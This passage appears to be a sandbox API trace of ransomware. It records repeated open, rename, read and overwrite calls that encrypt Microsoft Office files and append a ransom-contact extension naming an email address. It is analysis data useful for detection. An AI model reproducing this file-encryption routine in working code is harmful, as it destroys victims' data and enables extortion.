lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.120] CloseHandle (hObject=0x708) returned 1 [0146.120] GetProcessHeap () returned 0x630000 [0146.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67e1a0 | out: hHeap=0x630000) returned 1 [0146.120] GetProcessHeap () returned 0x630000 [0146.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff0118 | out: hHeap=0x630000) returned 1 [0146.120] GetProcessHeap () returned 0x630000 [0146.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46d8311, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46d8311, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d0c03a1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0xc887496, dwReserved1=0x6ff0110, cFileName="ORGCH.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGCHV~1.FIR")) returned 0x6d5000 [0146.121] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0146.121] Sleep (dwMilliseconds=0x1) [0146.161] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD", len=0x41 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD") returned 1 [0146.161] GetProcessHeap () returned 0x630000 [0146.161] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2710) returned 0x71f7c78 [0146.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network2.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0146.162] CloseHandle (hObject=0x4dc) returned 1 [0146.162] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network2.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network2.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.164] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK2.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~2.FIR")) returned 0x6d52c0 [0146.165] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0146.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network2.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0146.166] GetProcessHeap () returned 0x630000 [0146.166] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x881) returned 0x6e5368 [0146.166] GetProcessHeap () returned 0x630000 [0146.166] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x881) returned 0x6f126d8 [0146.167] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.168] ReadFile (in: hFile=0x4dc, lpBuffer=0x6e5368, nNumberOfBytesToRead=0x860, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesRead=0x3a7ff0c*=0x860, lpOverlapped=0x0) returned 1 [0146.179] GetProcessHeap () returned 0x630000 [0146.179] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0146.179] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.179] WriteFile (in: hFile=0x4dc, lpBuffer=0x6f126d8*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f126d8*, lpNumberOfBytesWritten=0x3a7ff0c*=0x860, lpOverlapped=0x0) returned 1 [0146.179] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.179] WriteFile (in: hFile=0x4dc, lpBuffer=0x6f12f37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f12f37*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.179] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.179] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.179] CloseHandle (hObject=0x4dc) returned 1 [0146.179] GetProcessHeap () returned 0x630000 [0146.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f126d8 | out: hHeap=0x630000) returned 1 [0146.179] GetProcessHeap () returned 0x630000 [0146.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0146.179] GetProcessHeap () returned 0x630000 [0146.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0146.180] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d132d3a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x88a, dwReserved0=0xc887496, dwReserved1=0x6e5360, cFileName="NETWORK2.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~2.FIR")) returned 0x6d5580 [0146.180] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0146.180] Sleep (dwMilliseconds=0x1) [0146.193] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD", len=0x41 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD") returned 1 [0146.193] GetProcessHeap () returned 0x630000 [0146.193] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x270c) returned 0x71f7c78 [0146.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network1.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.194] CloseHandle (hObject=0x708) returned 1 [0146.194] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network1.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network1.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.195] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK1.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~3.FIR")) returned 0x6d53c0 [0146.195] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0146.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network1.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.195] GetProcessHeap () returned 0x630000 [0146.195] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x741) returned 0x67a7c0 [0146.195] GetProcessHeap () returned 0x630000 [0146.195] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x741) returned 0x6e5368 [0146.195] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.195] ReadFile (in: hFile=0x708, lpBuffer=0x67a7c0, nNumberOfBytesToRead=0x720, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67a7c0*, lpNumberOfBytesRead=0x3a7ff0c*=0x720, lpOverlapped=0x0) returned 1 [0146.204] GetProcessHeap () returned 0x630000 [0146.204] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0146.204] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.204] WriteFile (in: hFile=0x708, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x3a7ff0c*=0x720, lpOverlapped=0x0) returned 1 [0146.204] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.204] WriteFile (in: hFile=0x708, lpBuffer=0x6e5a87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5a87*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.205] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.205] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.205] CloseHandle (hObject=0x708) returned 1 [0146.205] GetProcessHeap () returned 0x630000 [0146.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0146.205] GetProcessHeap () returned 0x630000 [0146.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67a7c0 | out: hHeap=0x630000) returned 1 [0146.205] GetProcessHeap () returned 0x630000 [0146.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0146.205] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d17ef5f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0xc887496, dwReserved1=0x67a7b8, cFileName="NETWORK1.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~3.FIR")) returned 0x6d5040 [0146.205] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0146.205] Sleep (dwMilliseconds=0x1) [0147.434] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT", len=0x41 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT") returned 1 [0147.434] GetProcessHeap () returned 0x630000 [0147.434] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26c8) returned 0x71f7c78 [0147.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0149.015] CloseHandle (hObject=0x6ec) returned 1 [0149.015] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.059] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa4c084e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa03a47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHSRN.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHS~1.FIR")) returned 0x6d5440 [0149.059] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0149.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0149.060] GetProcessHeap () returned 0x630000 [0149.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f6b050 [0149.060] GetProcessHeap () returned 0x630000 [0149.060] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f76480 [0149.061] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.061] ReadFile (in: hFile=0x6ec, lpBuffer=0x6f6b050, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6b050*, lpNumberOfBytesRead=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.195] GetProcessHeap () returned 0x630000 [0158.195] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0158.196] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.196] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f76480*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f76480*, lpNumberOfBytesWritten=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0158.196] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.196] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f8187f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8187f*, lpNumberOfBytesWritten=0x3a7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.198] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.198] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3a7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.198] CloseHandle (hObject=0x6ec) returned 1 [0158.198] GetProcessHeap () returned 0x630000 [0158.198] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f76480 | out: hHeap=0x630000) returned 1 [0158.198] GetProcessHeap () returned 0x630000 [0158.198] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f6b050 | out: hHeap=0x630000) returned 1 [0158.198] GetProcessHeap () returned 0x630000 [0158.198] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0158.198] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fcc4 | out: lpFindFileData=0x3a7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa369325, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa369325, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x243cfc26, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa03a6b, dwReserved0=0xc887496, dwReserved1=0x6f6b048, cFileName="PSRCHSRN.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHS~1.FIR")) returned 0x6d5280 [0158.198] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0158.198] Sleep (dwMilliseconds=0x1) [0158.200] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap", len=0x6f | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap") returned 1 [0158.200] GetProcessHeap () returned 0x630000 [0158.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b98) returned 0x707d3d0 [0158.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn\\powerviewres.sr-latn.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0158.202] CloseHandle (hObject=0x6ec) returned 1 [0158.202] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn\\powerviewres.sr-latn.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn\\powerviewres.sr-latn.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.203] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x160a83ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1611aacd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f53a, dwReserved0=0x8b004bc0, dwReserved1=0x63005b, cFileName="PowerViewRes.sr-latn.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5480 [0158.203] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0158.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn\\powerviewres.sr-latn.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0158.203] GetProcessHeap () returned 0x630000 [0158.203] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f6b050 [0158.203] GetProcessHeap () returned 0x630000 [0158.203] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f76480 [0158.203] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.203] ReadFile (in: hFile=0x6ec, lpBuffer=0x6f6b050, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3a7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6b050*, lpNumberOfBytesRead=0x3a7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.524] GetProcessHeap () returned 0x630000 [0165.524] RtlAllocateHeap (HeapHandle=0x630000, 